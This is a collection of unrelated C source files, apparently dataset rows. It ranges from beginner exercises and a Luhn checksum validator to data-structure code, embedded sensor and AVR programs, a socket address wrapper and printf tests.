* @param void
* @return 1 if successfully initialized, 0 if not
* @brief init mpu6050, I2C uses PB2, PB3
*/
int mpu6050Init(void);
/**
* @details read x-axis, y-axis, and z-axis acceleration data from MPU6050
* @param xAccel, yAccel, zAccel: signed 16 bit integer pointers to contain accel values
* @return void
* @brief read accel data from MPU6050
*/
void mpu6050ReadAccel(int16_t* xAccel, int16_t* yAccel, int16_t* zAccel);
/**
* @details calibrate the mpu6050 because the values are wonky at bootup
* @param void
* @return void
* @brief calibrate the mpu6050
*/
void mpu6050Calibration(void);
/**
* @details return x acceleration offset
* @param void
* @return void
* @brief return x acceleration offset
*/
int16_t mpu6050GetXAccelOffset(void);
/**
* @details return y acceleration offset
* @param void
* @return void
* @brief return y acceleration offset
*/
int16_t mpu6050GetYAccelOffset(void);
/**
* @details return z acceleration offset
* @param void
* @return void
* @brief return z acceleration offset
*/
int16_t mpu6050GetZAccelOffset(void);
/**
* @details return AFS_SEL scale value
* @param void
* @return void
* @brief return AFS_SEL scale value
*/
uint16_t mpu6050GetAFS_SELScaleValue(void);
#endif
|
C | #include<stdio.h>
int main()
{
// for loop execution
for (int a=10; a < 20 ; a++)
{
printf("Value of a: %d\n",a);
}
return 0;
} |
C | #include <stdio.h>
#include <string.h>
typedef signed char sint8;
typedef unsigned char uint8;
typedef signed short sint16;
typedef unsigned short uint16;
typedef unsigned long uint32;
typedef unsigned long long uint64;
#define IS_ODD(X) ((X)%2)
uint32 GetInclusionExclusion(uint32 number , uint32 firstNumber , uint32 SecondNumber)
{
uint32 local_Counter , returnCounter=0 , val1 , val2 , val3 , val4 , val5;
uint64 currentValue;
sint8 sign;
for(val1=0 ; val1<2 ; val1++)
{
for(val2=0 ; val2<2 ; val2++)
{
for(val3=0 ; val3<2 ; val3++)
{
for(val4=0 ; val4<2 ; val4++)
{
for(val5=0 ; val5<2 ; val5++)
{
local_Counter=0;
currentValue=1;
sign=1;
if(val1)
{
currentValue*=firstNumber;
++local_Counter;
}
if(val2)
{
currentValue*=(firstNumber+SecondNumber);
++local_Counter;
}
if(val3)
{
currentValue*=(firstNumber+2*SecondNumber);
++local_Counter;
}
if(val4)
{
currentValue*=(firstNumber+3*SecondNumber);
++local_Counter;
}
if(val5)
{
currentValue*=(firstNumber+4*SecondNumber);
++local_Counter;
}
if(local_Counter==0)
{
continue;
}
if(!IS_ODD(local_Counter))
{
sign=-1;
}
returnCounter+=sign *(number/currentValue);
}
}
}
}
}
return returnCounter;
}
int main()
{
uint16 numberOfInputs;
uint32 startOfRange , endOfRange , firstNumber , SecondNumber;
scanf("%hu" , &numberOfInputs);
while(numberOfInputs--)
{
scanf("%u %u %u %u" , &startOfRange , &endOfRange , &firstNumber , &SecondNumber);
printf("%d\n" , GetInclusionExclusion(endOfRange-startOfRange+1 , firstNumber , SecondNumber));
}
return 0;
} |
C | /*
* File: reverse.c
* ---------------
* This program reads in an array of integers, reverses the
* elements of the array, and then display the elements in
* their reversed order.
*/
#include <stdio.h>
#include "genlib.h"
#include "simpio.h"
/*
* Constants
* ---------
* MaxElements -- Maximum number of elements
* Sentinel -- Value used to terminate input
*/
#define MaxElements 250
#define Sentinel 0
/* Private function prototypes */
static int GetIntegerArray(int array[], int max, int sentinel);
static void PrintIntegerArray(int array[], int n);
static void ReverseIntegerArray(int array[], int n);
static void SwapIntegerElements(int array[], int p1, int p2);
static void GiveInstructions(void);
/* Main program */
main()
{
int list[MaxElements], n;
GiveInstructions();
n = GetIntegerArray(list, MaxElements, Sentinel);
ReverseIntegerArray(list, n);
PrintIntegerArray(list, n);
}
/*
* Function: GetIntegerArray
* Usage: n = GetIntegerArray(array, max, sentinel);
* -------------------------------------------------
* This function reads elements into an integer array by
* reading values, one per line, from the keyboard. The end
* of the input data is indicated by the parameter sentinel.
* The caller is responsible for declaring the array and
* passing it as a parameter, along with its allocated
* size. The value returned is the number of elements
* actually entered and therefore gives the effective size
* of the array, which is typically less than the allocated
* size given by max. If the user types in more than max
* elements, GetIntegerArray generates an error.
*/
static int GetIntegerArray(int array[], int max, int sentinel)
{
int n, value;
n = 0;
while (TRUE) {
printf(" ? ");
value = GetInteger();
if (value == sentinel) break;
if (n == max) Error("Too many input items for array");
array[n] = value;
n++;
}
return (n);
}
/*
* Function: PrintIntegerArray
* Usage: PrintIntegerArray(array, n);
* -----------------------------------
* This function displays the first n values in array,
* one per line, on the console.
*/
static void PrintIntegerArray(int array[], int n)
{
int i;
for (i = 0; i < n; i++) {
printf("%d\n", array[i]);
}
}
/*
* Function: ReverseIntegerArray
* Usage: ReverseIntegerArray(array, n);
* -------------------------------------
* This function reverses the elements of array, which has n as
* its effective size. The procedure operates by going through
* the first half of the array and swapping each element with
* its counterpart at the end of the array.
*/
static void ReverseIntegerArray(int array[], int n)
{
int i;
for (i = 0; i < n / 2; i++) {
SwapIntegerElements(array, i, n - i - 1);
}
}
/*
* Function: SwapIntegerElements
* Usage: SwapIntegerElements(array, p1, p2);
* ------------------------------------------
* This function swaps the elements in array at index
* positions p1 and p2.
*/
static void SwapIntegerElements(int array[], int p1, int p2)
{
int tmp;
tmp = array[p1];
array[p1] = array[p2];
array[p2] = tmp;
}
/*
* Function: GiveInstructions
* Usage: GiveInstructions();
* --------------------------
* This function gives instructions for the array reversal program.
*/
static void GiveInstructions(void)
{
printf("Enter numbers, one per line, ending with the\n");
printf("sentinel value %d. The program will then\n", Sentinel);
printf("display those values in reverse order.\n");
}
|
C | #include<stdio.h>
#include "linkedlist.h"
Element increment(Element number) {
char *incremented_number = malloc(sizeof(char));
*incremented_number = *(int *)number + 1;
return incremented_number;
}
Status is_even(Element number) {
return *(int *)number % 2 == 0 ? Success : Failure;
}
Status is_int_equal(Element num1, Element num2) {
return *(int *)num1 == *(int *)num2;
}
Element add(Element sum, Element number) {
int *total = malloc(sizeof(int));
*total = *(int *)sum + *(int *)number;
return (sum = total);
}
void print_element(Element element) {
printf("%d\n", *(int *)element);
}
void display_int_list(List_ptr list) {
Node_ptr pWalk = list->first;
while (pWalk != NULL) {
printf("%d\n", *(int *)pWalk->element);
pWalk = pWalk->next;
}
}
int main() {
List_ptr list = create_list();
int number1 = 10, number2 = 20, number3 = 30, number4 = 40, number5 = 50, number6 = 60;
Status status = add_to_start(list, &number1);
status = add_to_list(list, &number2);
status = add_to_list(list, &number3);
status = add_to_list(list, &number4);
status = add_to_list(list, &number5);
status = add_to_list(list, &number6);
display_int_list(list);
return 0;
}
|
C | #include<stdio.h>
#include<string.h>
#include<stdlib.h>
void main()
{
int i,s=0,v=0,l=0,sent=0;
char a[20];
printf("Enter a string");
gets(a);
strlwr(a);
l=strlen(a);
for(i=0;i<l;i++)
{
if(a[i]==' ')
s++;
if(a[i]=='a' || a[i]=='e' || a[i]=='i' || a[i]=='o' || a[i]=='u')
v++;
if(a[i]=='.')
sent++;
}
printf("No of consonants=%d\n",l-s-v);
printf("No of vowels=%d\n",v);
printf("No of blank spaces=%d\n",s);
printf("No of words=%d\n",s+1);
printf("No of lines=%d\n",sent);
}
|
C | // This program determines whether a provided credit card number (user-input) is valid according to Luhn's algorithm.
#include <stdio.h>
#include <cs50.h>
int main(void)
{
// user-input for number greater than 0
long long ccNumber;
do
{
ccNumber = get_long_long("Number: ");
}
while (ccNumber <= 0);
// count number of digits
int numDigits = 0;
long long digitValidator = ccNumber;
while (digitValidator != 0)
{
// divides by 10 until the long long is == 0.. i.e: 400/10 -> 40; 40/10 -> 4; 4/10 -> 0
// this digit counter works by counting the number of times it takes to divide by 10 to get to 0.
digitValidator = digitValidator / 10;
numDigits++;
}
// first checksum on the first set of digits
long long firstDigitSet = ccNumber;
int digits = 2 * ((firstDigitSet / 10) % 10);
firstDigitSet /= 10;
int sum = (digits / 10) + (digits % 10);
for (int i = 0; i < numDigits; i++)
{
// isolating the necessary digits and multiplying by 2
digits = 2 * ((firstDigitSet / 100) % 10);
firstDigitSet /= 100;
// adding the products' digits
sum += (digits / 10) + (digits % 10);
}
// second checksum on second set of digits
long long secondDigitSet = ccNumber;
sum += secondDigitSet % 10;
for (int i = 0; i < numDigits; i++)
{
// isolating the other digits
digits = ((secondDigitSet / 100) % 10);
sum += (digits / 10) + (digits % 10);
secondDigitSet /= 100;
}
// Isolating first two digits for use in final check
int firstTwoDigits = 0;
// Checking for digit length and company specs
if (numDigits == 15 && sum % 10 == 0)
{
firstTwoDigits = ccNumber / 10000000000000;
switch (firstTwoDigits)
{
case 34:
case 37:
printf("AMEX\n");
break;
default:
printf("INVALID\n");
break;
}
}
else if (numDigits == 13 && sum % 10 == 0)
{
firstTwoDigits = ccNumber / 100000000000;
if ((firstTwoDigits / 10) % 10 == 4)
{
printf("VISA\n");
}
else
{
printf("INVALID\n");
}
}
else if (numDigits == 16 && sum % 10 == 0)
{
firstTwoDigits = ccNumber / 100000000000000;
if ((firstTwoDigits / 10) % 10 == 4)
{
printf("VISA\n");
}
else if (firstTwoDigits == 51 || firstTwoDigits == 52 || firstTwoDigits == 53 || firstTwoDigits == 54
|| firstTwoDigits == 55)
{
printf("MASTERCARD\n");
}
else
{
printf("INVALID\n");
}
}
else
{
printf("INVALID\n");
}
} |
C | #include <stdlib.h>
#include <string.h>
#include "bitree.h"
void bitree_init(BiTree *tree,void (*destroy)(void *data))
{
tree->size=0;
tree->destroy=destroy;
tree->root = NULL;
return;
}
void bitree_destroy(BiTree *tree)
{
bitree_rem_left(tree,NULL);
memset(tree,0,sizeof(BiTree));
return;
}
int bitree_ins_left(BiTree *tree,BiTreeNode *node,const void *data)
{
BiTreeNode *new_node,**position;
if(node == NULL)
{
if(bitree_size(tree)>0)
return -1;
position = &tree->root;
}
else
{
if(bitree_left(node)!=NULL)
return -1;
position = &node->left;
}
if((new_node = (BiTreeNode *)malloc(sizeof(BiTreeNode)))==NULL)
return -1;
new_node->data = (void *)data;
new_node->left = NULL;
new_node->right = NULL;
*position = new_node;
tree->size++;
return 0;
}
int bitree_ins_right(BiTree *tree,BiTreeNode *node,const void *data)
{
BiTreeNode *new_node,**position;
if(node == NULL)
{
if(bitree_size(tree)>0)
return -1;
position = &tree->root;
}
else
{
if(bitree_right(node)!=NULL)
return -1;
position = &node->right;
}
if((new_node = (BiTreeNode *)malloc(sizeof(BiTreeNode)))==NULL)
return -1;
new_node->data = (void *)data;
new_node->left = NULL;
new_node->right = NULL;
*position = new_node;
tree->size++;
return 0;
}
void bitree_rem_left(BiTree *tree,BiTreeNode *node)
{
BiTreeNode **position;
if(bitree_size(tree)==0)
return ;
if(node==NULL)
position = &tree->root;
else
position = &node->left;
if(*position != NULL)
{
bitree_rem_left(tree,*position);
bitree_rem_right(tree,*position);
if(tree->destroy !=NULL)
{
tree->destroy((*position)->data);
}
free(*position);
*position = NULL;
tree->size--;
}
return ;
}
void bitree_rem_right(BiTree *tree,BiTreeNode *node)
{
BiTreeNode **position;
if(bitree_size(tree)==0)
return ;
if(node==NULL)
position = &tree->root;
else
position = &node->right;
if(*position != NULL)
{
bitree_rem_left(tree,*position);
bitree_rem_right(tree,*position);
if(tree->destroy !=NULL)
{
tree->destroy((*position)->data);
}
free(*position);
*position = NULL;
tree->size--;
}
return ;
}
int bitree_merge(BiTree *merge,BiTree *left,BiTree *right,const void *data)
{
bitree_init(merge,left->destroy);
if(bitree_ins_left(merge,NULL,data)!=0)
{
bitree_destroy(merge);
return -1;
}
bitree_root(merge)->left = bitree_root(left);
bitree_root(merge)->right = bitree_root(right);
left->root=NULL;
left->size=0;
right->root=NULL;
right->size=0;
return 0 ;
}
int bitree_search(BiTree *tree,const void *data,BiTreeNode **backNode)
{
BiTreeNode *node;
if(bitree_size(tree)==0)
return -1;
node = bitree_root(tree);
if(tree->compare(data,(int*)bitree_data(node))==0) return 1;
if(tree->compare(data,(int*)bitree_data(node))==-1)
*backNode = bitree_search_inside(data,bitree_left(node),tree);
else *backNode = bitree_search_inside(data,bitree_right(node),tree);
return 0;
}
BiTreeNode *bitree_search_inside(const void *data,BiTreeNode *node,BiTree *tree)
{
if(node == NULL || tree->compare(data,(int*)bitree_data(node))==0) return node;
if(tree->compare(data,(int*)bitree_data(node))==-1)
bitree_search_inside(data,bitree_left(node),tree);
else bitree_search_inside(data,bitree_right(node),tree);
}
int compare(int *data1,int *data2)
{
if(*data1==*data2)return 0;
else if(*data1>*data2) return 1;
else return -1;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main()
{
int fab[40] = {1, 1};
int n;
int i;
int k = 2;
scanf("%d", &n);
for(i = 0; i < n; ++i) {
printf("%12d", fab[i]);
if((i + 1) % 5 == 0)
printf("\n");
if(k < n)
fab[k] = fab[k - 1] + fab[k - 2], ++k;
}
printf("\n");
return 0;
}
|
C | #pragma once
#include <stdio.h>
#include "SinglyLinkedList.h"
Node* reverseList(List* list, Node* head)
{
Node* reverseHead = head;
if (head->next != NULL)
{
reverseHead = reverseList(list, head->next);
head->next->next = head;
}
if (head == list->head)
{
head->next = NULL;
list->head = reverseHead;
}
return reverseHead;
}
void printForward(Node* head)
{
printf("List : %d\n", head->data);
if (head->next != NULL)
printForward(head->next);
}
void printReverse(Node* head)
{
if (head->next != NULL)
printReverse(head->next);
printf("List : %d\n", head->data);
} |
C | #include<stdio.h>
int main(){
int year,time;
double money;
scanf("%d%d",&year,&time);
if (year<5){
if (time<=40){
money=30*time;
}
else{
money=30*40+45*(time-40);
}
}
else{
if (time<=40){
money=50*time;
}
else{
money=50*40+75*(time-40);
}
}
printf("%.2lf",money);
return 0;
}
|
C | #include<stdio.h>
int main(){
int n, i;
float x, y;
double div;
div = 0.0;
scanf("%d", &n);
for (i = 1; i <= n; i++){
scanf("%f", &x);
scanf("%f", &y);
if (y == 0){
printf("divisao impossivel\n");
}
else{
div = (double) x / y;
printf("%.1lf\n",div);
}
}
return 0;
} |
C | #include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<termios.h>
#include<stdlib.h>
#include<sys/ioctl.h>
int main()
{
struct termios toptions ;
int fd , fd2 ;
printf("wwwwww\n");
fd2 = open("/dev/ttyS4" , O_RDWR | O_NOCTTY);
fd = open("/dev/ttyACM0" , O_RDWR | O_NOCTTY);
if(fd < 0 || fd2 < 0)
{
printf("open error \n");
return -1;
}
printf("open OK ");
speed_t brate = 9600 ;
cfsetispeed(&toptions , brate);
cfsetospeed(&toptions , brate );
char buf[2] ;
while(1)
{
int i = read(fd , buf , 1 );
if(buf[0] != 10 )
{
printf("%c\n" , buf[0]);
}
}
close(fd);
return 0 ;
}
|
C | /**
* @file snet_ia.c
* @author mathslinux <[email protected]>
* @date Sun May 13 19:26:55 2012
*
* @brief Internet Address Wrapper
*
*
*/
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include "snet.h"
/**
* Creates a Internet Address from a host name and port.
*
* @param hostname
* @param port
*
* @return
*/
SInetAddr *snet_inet_addr_new(const char *hostname, int port)
{
if (!hostname || port < 0) {
printf("Invalid hostname or port\n");
return NULL;
}
SInetAddr* ia = NULL;
struct addrinfo hints;
struct addrinfo *result = NULL, *curr;
int ret;
memset(&hints, 0, sizeof(hints));
hints.ai_socktype = SOCK_STREAM;
ret = getaddrinfo(hostname, NULL, &hints, &result);
if (ret) {
printf("getaddrinfo: %s\n", strerror(errno));
goto failed;
}
ia = malloc(sizeof(*ia));
if (!ia) {
printf("malloc:%s\n", strerror(errno));
goto failed;
} else {
memset(ia, 0, sizeof(*ia));
ia->hostname = strdup(hostname);
}
for (curr = result; curr != NULL; curr = curr->ai_next) {
SInetAddrEntry *new = malloc(sizeof(*new));
if (!new) {
printf("malloc: %s\n", strerror(errno));
goto failed;
} else {
memset(new, 0, sizeof(*new));
}
memcpy(&new->sa, curr->ai_addr, curr->ai_addrlen);
new->ai_family = curr->ai_family;
new->sa.sin_port = htons(port);
LIST_INSERT_HEAD(&ia->ia_head, new, entries);
}
if (result) {
freeaddrinfo(result);
}
return ia;
failed:
if (result) {
freeaddrinfo(result);
}
if (ia) {
snet_inet_addr_free(ia);
}
return NULL;
}
/**
* Free internet address list
*
* @param ia
*/
void snet_inet_addr_free(SInetAddr *ia)
{
if (!ia)
return ;
SInetAddrEntry *ia_entry, *next;
/* Free hostname */
if (ia->hostname)
free(ia->hostname);
/* Free internet address list */
LIST_FOREACH_SAFE(ia_entry, &ia->ia_head, entries, next) {
LIST_REMOVE(ia_entry, entries);
free(ia_entry);
}
free(ia);
}
#if 0
int main(int argc, char *argv[])
{
SInetAddr *ia = snet_inet_addr_new("www.google.com", 80);
SInetAddrEntry *ia_entry;
if (!ia) {
return -1;
}
LIST_FOREACH(ia_entry, &ia->ia_head, entries) {
printf("%s\n", inet_ntoa(ia_entry->sa.sin_addr));
}
snet_inet_addr_free(ia);
return 0;
}
#endif
|
C | #include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <string.h>
#include <math.h>
int main()
{
setlocale(LC_ALL, "portuguese");
/* 11) Depois da liberação do governo para as mensalidade dos planos de saúde, as pessoas começaram a fazer pesquisas para
descobrir um bom plano, não muito caro. Um vendedor de plano de saúde apresentou a tabela a seguir. Criar um algoritmo
que entre com o nome e a idade de uma pessoa e imprimir o nome e o valor que ela deverá pagar.
• Até 10 anos – R$30,00 • Acima de 10 até 29 anos – R$60,00
• Acima de 29 até 45 anos – R$120,00 • Acima de 45 até 59 anos – R$150,00
• Acima de 59 até 65 anos – R$250,00 • Maior que 65 anos – R$400,00 */
//declaração de variáveis
char nome[40];
int idade;
//entrada de dados
printf("Digite o Nome: \n");
fflush(stdin);
gets(nome);
printf("\nDigite a Idade: \n");
scanf("%d", &idade);
//condições para valores dos planos
if (idade<=10) {
printf("O Valor do plano de %s é de R$ 30,00\n\a", nome);
} else if (idade<=29) {
printf("O Valor do plano de %s é de R$ 60,00\n\a", nome);
} else if (idade<=45) {
printf("O Valor do plano de %s é de R$ 120,00\n\a", nome);
} else if (idade<=59) {
printf("O Valor do plano de %s é de R$ 150,00\n\a", nome);
} else if (idade<=65) {
printf("O Valor do plano de %s é de R$ 250,00\n\a", nome);
} else {
printf("O Valor do plano de %s é de R$ 400,00\n\a", nome);
}
system("pause");
return 0;
}
|
C | #ifndef _INCLUDED_MUSICENCRYPT_H_
#define _INCLUDED_MUSICENCRYPT_H_
#include <stdio.h>
#include <stdlib.h>
#ifdef __cplusplus
extern "C" {
#endif
/**
* @brief decrypt song id
* @param {INPUT} chId: encrypted string buffer
* @return decrypted digital string
*/
unsigned long MusicDecryptSongId(char const * chId);
/**
* @brief decrypt singer id
* @param {INPUT} chId: encrypted string buffer
* @return decrypted digital string
*/
unsigned long MusicDecryptSingerId(char const * chId);
/**
* @brief decrypt album id
* @param {INPUT} chId: encrypted string buffer
* @return decrypted digital string
*/
unsigned long MusicDecryptAlbumId(char const * chId);
/**
* @brief encrypt song id
*
* @param {INPUT} uId: digital numer to be encrypted
* @param {OUTPUT} chOutBuf: encrypted string buffer. Recommand to feed in char chOutBuf[16] and use sizeof(chOutBuf) to get output size.
* @return none
*/
void MusicEncryptSongId(unsigned long uId, char* chOutBuf);
/**
* @brief encrypt singer id
*
* @param {INPUT} uId: digital numer to be encrypted
* @param {OUTPUT} chOutBuf: encrypted string buffer. Recommand to feed in char chOutBuf[16] and use sizeof(chOutBuf) to get output size.
* @return none
*/
void MusicEncryptSingerId(unsigned long uId, char* chOutBuf);
/**
* @brief encrypt album id
*
* @param {INPUT} uId: digital numer to be encrypted
* @param {OUTPUT} chOutBuf: encrypted string buffer. Recommand to feed in char chOutBuf[16] and use sizeof(chOutBuf) to get output size.
* @return none
*/
void MusicEncryptAlbumId(unsigned long uId, char* chOutBuf);
/* for cpp, please use a wrapper like this:
string MusicEncryptSongId(unsigned long id)
{
char outBuf[16] = {0};
MusicEncryptSongId(id, outBuf);
return string(outBuf, sizeof(outBuf));
}
*/
#ifdef __cplusplus
}
#endif
#endif
|
C | //
// POV (Persistence of Vision)
//
// (C) 2015, Daniel Quadros
//
// ----------------------------------------------------------------------------
// "THE BEER-WARE LICENSE" (Revision 42):
// <[email protected]> wrote this file. As long as you retain this
// notice you can do whatever you want with this stuff. If we meet some day,
// and you think this stuff is worth it, you can buy me a beer in return.
// Daniel Quadros
// ----------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <avr/io.h>
#include <avr/interrupt.h>
// Conexes do hardware
#define SENSOR _BV(PB0)
#define LED_VD _BV(PB1)
// Variaveis
static const uint8_t imagem[16] =
{
0x80, 0xC1, 0x82, 0xC3, 0x84, 0xC5, 0x86, 0xC7,
0x88, 0xC9, 0x8A, 0xCB, 0x8C, 0xFD, 0x8E, 0x00
};
// Rotinas
static void initHw (void);
// Programa principal
int main(void)
{
uint8_t fOvf = 1;
uint8_t fSensor = 0;
uint16_t tempo = 0;
uint16_t prox = 0;
uint16_t passo = 0;
uint8_t setor = 0;
// Inicia o hardware
initHw ();
// Eterno equanto dure
for (;;)
{
// Trata o sensor
if (fSensor)
{
// j detectou o sensor, aguardando desligar
fSensor = (PINB & SENSOR) == 0;
if (!fSensor)
PORTB &= ~LED_VD; // apaga LED verde
}
else if ((PINB & SENSOR) == 0)
{
// Detectou sensor
if (fOvf == 0)
{
// funcionamento normal
tempo = TCNT1; // registra o tempo da volta
PORTA = imagem [0]; // LEDs para o primeiro setor
passo = tempo >> 4; // divide a volta em 16 setores
prox = passo;
setor = 1;
}
else
{
// ultrapassou o tempo mximo
fOvf = 0; // limpa o flag, vamos tentar de novo
}
TCNT1 = 0; // reinicia a contagem de tempo
fSensor = 1; // lembra que detectou o sensor
PORTB |= LED_VD; // indica deteco
}
// Testa overflow do timer
if (TIFR1 & _BV(TOV1))
{
fOvf = 1; // ultrapassou o tempo mximo
PORTA = 0; // apaga os LEDs
tempo = 0; // no atualizar os LEDs
TIFR1 |= _BV(TOV1); // limpa o aviso do timer
}
// Atualiza os LEDs
if (tempo != 0)
{
if (TCNT1 >= prox)
{
PORTA = imagem [setor++]; // passa para o setor seguinte
prox += passo;
if (setor == 16)
tempo = 0; // acabaram os setores
}
}
}
}
// Inicia o hardware
static void initHw (void)
{
// Port A so os LEDs
DDRA = 0xFF; // tudo saida
PORTA = 0; // LEDs apagados
// PORT B tem o sensor e o LED verde
DDRB &= ~SENSOR; // sensor entrada
DDRB |= LED_VD; // LED saida
PORTB = SENSOR; // com pullup
// Timer 1
// Modo normal, clock/1024
TCCR1A = 0;
TCCR1B = _BV(CS12) | _BV(CS10);
TCCR1C = 0;
}
|
C | /*
* Producto.c
*
* Created on: 28 abr. 2020
* Author: Nicolas
*/
#include <stdio.h>
#include <stdlib.h>
#include "Producto.h"
#include "utn.h"
void producto_imprimirProducto(Producto* pProducto)
{
printf("\n%d\t\t%s\t\t%s\t\t%.2f",pProducto->isEmpty,pProducto->nombreProducto,pProducto->descripcion,pProducto->precio);
}
int productos_initArray(Producto* pProducto,int longitud)
{
int retorno=-1;
int i;
if(pProducto!=NULL)
{
for(i=0;i<longitud;i++)
{
pProducto[i].isEmpty=1;
}
retorno=0;
}
return retorno;
}
int producto_cargarProducto(Producto* producto,int longitud,int indice)
{
int retorno=0;
Producto productoAux;
if(producto!=NULL&& longitud >0 && indice < longitud )
{
if(utn_getString(productoAux.nombreProducto,"\nIngrese nombre del producto: ","\nNombre invalido",15,2)==0
&&utn_getString(productoAux.descripcion,"\nIngrese Descripcion del producto: ","\nDescripcion invalido",15,2)==0
&&utn_getNumeroFlotante(&productoAux.precio,"\nIngrese precio del producto: ","\nPrecio invalido",0,100,2)==0)
{
producto[indice]=productoAux;
producto[indice].isEmpty=0;
retorno=1;
}
}
return retorno;
}
|
C | #include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
void hijo (const char *num_hermanos);
int main (int argc, char *argv[]) {
hijo(argv[1]);
return 0;
}
void hijo (const char *num_hermanos) {
printf("Soy %ld y tengo %d hermanos!\n",
(long)getpid(), atoi(num_hermanos) - 1);
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* true_u_tests.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: darbib <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/04/13 21:23:17 by darbib #+# #+# */
/* Updated: 2019/04/15 10:28:00 by darbib ### ########.fr */
/* */
/* ************************************************************************** */
#include "testft_printf.h"
void true_u_tests()
{
printf("-------- conversion u ----------\n");
printf("-------- simple ----------\n");
printf("%d\n",printf("%u\n", 42));
printf("%d\n",printf("%u\n", 0));
printf("%d\n",printf("%u\n", -42));
printf("%d\n",printf("%0u\n", 42));
printf("%d\n",printf("%0u\n", 0));
printf("%d\n",printf("%0u\n", -42));
printf("%d\n",printf("%-u\n", 42));
printf("%d\n",printf("%-u\n", 0));
printf("%d\n",printf("%-u\n", -42));
printf("%d\n",printf("%u\n", 42));
printf("%d\n",printf("%u\n", 0));
printf("%d\n",printf("%u\n", -42));
// -------- repetitive options ----------
printf("------- n_options --------\n");
printf("%d\n",printf("%---------------u\n", 42));
printf("%d\n",printf("%---------------u\n", 0));
printf("%d\n",printf("%---------------u\n", -42));
printf("%d\n",printf("%00000000000000000000u\n", 42));
printf("%d\n",printf("%00000000000000000000u\n", 0));
printf("%d\n",printf("%00000000000000000000u\n", -42));
// ---------- mixed options -----------------
printf("------- mixed --------\n");
// ---------- LMC & precision ---------
printf("------- MFW --------\n");
printf("%d\n",printf("%3u", 42));
printf("%d\n",printf("%3u", 0));
printf("%d\n",printf("%3u", -42));
printf("%d\n",printf("%.7u", 42));
printf("%d\n",printf("%.7u", 0));
printf("%d\n",printf("%.7u", -42));
printf("%d\n",printf("%3.7u", 42));
printf("%d\n",printf("%3.7u", 0));
printf("%d\n",printf("%3.7u", -42));
// --------- sizes ----------
printf("------- sizes --------\n");
printf("%d\n",printf("%hu\n", (short)42));
printf("%d\n",printf("%hu\n", (short)0));
printf("%d\n",printf("%hu\n", (short)-42));
printf("%d\n",printf("%hhu\n", (char)42));
printf("%d\n",printf("%hhu\n", (char)0));
printf("%d\n",printf("%hhu\n", (char)-42));
printf("%d\n",printf("%lu\n", (long)42));
printf("%d\n",printf("%lu\n", (long)0));
printf("%d\n",printf("%lu\n", (long)-42));
printf("%d\n",printf("%llu\n", (long long)42));
printf("%d\n",printf("%llu\n", (long long)0));
printf("%d\n",printf("%llu\n", (long long)-42));
// ---------- repetitive conversions --------
printf("------- n_conversions --------\n");
printf("%d\n",printf("%u%u%u\n", 42, 0, -42));
printf("%d\n",printf("%u %u %u\n", 42, 0, -42));
printf("%d\n",printf("%-u%-u%0u\n", 42, 0, -42));
printf("%d\n", printf("%lu%hu%u\n", (long)42, (short)0, -42));
// ------------- together ---------------
printf("------- together --------\n");
printf("%d\n", printf("%-10.3llu\n people waiting", (long long)100));
printf("%d\n", printf("time before world end : %2147483647.15hu days\n", (short)0));
printf("%d\n", printf("%.2u\n", 42));
printf("%d\n", printf("%-10.3llu\n", (long long)42));
printf("%d\n", printf("0%0.2u0\n", 42));
printf("%d\n", printf("%-5.6llu%03.7hu%u%%u%7u%uu\n", (long long)1, (short)2, -3, -4, 5));
printf("%d\n", printf("%05.9lu%-6.10u%u%%u%7u%uu\n", (long)1, 2, -3, -4, 5));
printf("%d\n", printf("%%u%uu%uu%%u\n", 1, 2));
printf("%d\n", printf("%%u%%u%%u%%u\n"));
printf("%d\n", printf("%u\n",(unsigned int)4294967295));
}
|
C | #include<stdio.h>
#include<stdlib.h>
#include "header/function.h"
void convert_data(header *h,info_header *ih)
{
unsigned int size = sizeof(header) + sizeof(info_header) + 256 * sizeof(color_table) + ih->width * ih->height * sizeof(greyscale);
unsigned int data_offset = size - (ih->width * ih->height * sizeof(greyscale));
h->file_size = size;
h->data_offset = data_offset;
ih->bpp = 8;
ih->colors_used = 256;
}
unsigned char convert(rgb pic)
{
return(pic.r*0.299 + pic.g*0.587 + pic.b*0.114); //each component of the pixel is converted into a grayscale value
}
greyscale** RGBtoGrayscale(int height,int width, rgb** pic)
{
greyscale** image = (greyscale **)malloc(height * sizeof(void *));
for(int i = 0; i < height; i++)
{
image[i] = (greyscale *)malloc(width * sizeof(greyscale));
}
for(int i=0;i<height;i++)
for(int j=0;j<width;j++)
image[i][j].value = convert(pic[i][j]);
return image;
}
void get_ct(color_table ct[256])
{
for(int i = 0; i < 256; i++)
{
ct[i].red = i;
ct[i].blue = i;
ct[i].green = i;
ct[i].reserved = 0;
}
}
|
C | /***************************************************
> Copyright (C) 2017 ==KINGYI== All rights reserved.
> File Name: seqlist.c
> Author: Kingyi
> Mail:[email protected]
> Created Time: 2017年06月19日 星期一 13时49分18秒
***************************************************/
#include "seqlist.h"
seqlist *create_seqlist()
{
seqlist *sq = (seqlist *)malloc(sizeof(seqlist));
if(NULL == sq)
{
return NULL;
perror("malloc");
}
bzero(sq,sizeof(seqlist));
return sq;
}
int add_seqlist(seqlist *sq,datatype va)
{
int ret = 0;
if(NULL == sq) return -1;
ret = full_seqlist(sq);
if(ret == -1) return -1;
else if(ret == -2)
{
printf("Full seqlist\n");
return -2;
}
else
{
sq->data[sq->count] = va;
sq->count++;
}
return 0;
}
int find_pos_seqlist(seqlist *sq,int pos)
{
if(NULL == sq) return -1;
if((pos>sq->count)||(pos<=0)) return -2;
printf("%d位置的数据是%d\n",pos,sq->data[pos-1]);
return 0;
}
int inr_va_seqlist(seqlist *sq,datatype old_va,datatype va)
{
int i =0,j = 0;
if(NULL == sq) return -1;
if(full_seqlist(sq) == -2) return -2;
for(i=0;i<sq->count;i++)
{
if(sq->data[i] == old_va)
{
for(j=sq->count;j>i+1;j--)
{
sq->data[j] = sq->data[j-1];
}
sq->count++;
